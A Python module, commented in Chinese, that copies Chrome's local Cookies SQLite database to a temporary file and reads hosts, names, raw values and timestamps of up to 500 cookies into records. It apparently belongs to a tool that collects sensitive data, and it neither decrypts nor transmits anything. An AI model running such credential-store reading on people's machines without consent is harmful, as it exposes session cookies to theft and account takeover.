"""
Chrome 浏览器 cookie 采集
"""

import os
import sqlite3
import tempfile
from typing import List
from datetime import datetime
from diona.system.sensitive.browser.cookies.base import CookieCollector
from diona.system.sensitive.browser.models.cookies import CookieRecord


class ChromeCookieCollector(CookieCollector):
    """
    Chrome 浏览器 cookie 采集器
    """
    
    def __init__(self):
        """
        初始化 Chrome cookie 采集器
        """
        self.cookies_path = os.path.join(
            os.environ.get('LOCALAPPDATA', ''),
            'Google', 'Chrome', 'User Data', 'Default', 'Network', 'Cookies'
        )
    
    def collect(self, limit: int = 500) -> List[CookieRecord]:
        """
        采集 Chrome Cookie
        
        Args:
            limit: 采集的记录数量限制
            
        Returns:
            Cookie 列表
        """
        cookies = []
        
        if not os.path.exists(self.cookies_path):
            return cookies
        
        try:
            # 创建临时文件，因为 Cookies 文件可能被 Chrome 锁定
            with tempfile.NamedTemporaryFile(suffix='.db', delete=False) as temp_file:
                temp_path = temp_file.name
            
            # 复制文件内容
            with open(self.cookies_path, 'rb') as src, open(temp_path, 'wb') as dst:
                dst.write(src.read())
            
            # 连接数据库
            conn = sqlite3.connect(temp_path)
            cursor = conn.cursor()
            
            # 查询 cookie
            query = """
                SELECT host_key, name, value, expires_utc, creation_utc, 
                       last_access_utc, is_secure, is_httponly
                FROM cookies
                ORDER BY creation_utc DESC
                LIMIT ?
            """
            cursor.execute(query, (limit,))
            
            # 解析结果
            for row in cursor.fetchall():
                host_key, name, value, expires_utc, creation_utc, last_access_utc, is_secure, is_httponly = row
                
                # 转换时间戳
                creation_utc = self._webkit_timestamp_to_datetime(creation_utc)
                expires_utc = self._webkit_timestamp_to_datetime(expires_utc)
                last_access_utc = self._webkit_timestamp_to_datetime(last_access_utc)
                
                cookies.append(CookieRecord(
                    host_key=host_key,
                    name=name,
                    value=value,  # 原始值，不尝试解密
                    expires_utc=expires_utc,
                    creation_utc=creation_utc,
                    last_access_utc=last_access_utc,
                    secure=bool(is_secure),
                    httponly=bool(is_httponly)
                ))
            
            # 关闭连接
            cursor.close()
            conn.close()
            
            # 删除临时文件
            os.unlink(temp_path)
            
        except Exception as e:
            print(f"Error collecting Chrome cookies: {e}")
            if 'temp_path' in locals() and os.path.exists(temp_path):
                try:
                    os.unlink(temp_path)
                except:
                    pass
        
        return cookies
    
    def get_browser_name(self) -> str:
        """
        获取浏览器名称
        
        Returns:
            浏览器名称
        """
        return "Chrome"
    
    def _webkit_timestamp_to_datetime(self, timestamp: int) -> str:
        """
        将 WebKit 时间戳转换为可读的日期时间字符串
        
        Args:
            timestamp: WebKit 时间戳（微秒）
            
        Returns:
            日期时间字符串
        """
        # WebKit 时间戳是自 1601 年 1 月 1 日以来的微秒数
        # 转换为 Unix 时间戳（自 1970 年 1 月 1 日以来的秒数）
        unix_timestamp = (timestamp - 11644473600000000) / 1000000
        return datetime.utcfromtimestamp(unix_timestamp).strftime('%Y-%m-%d %H:%M:%S')
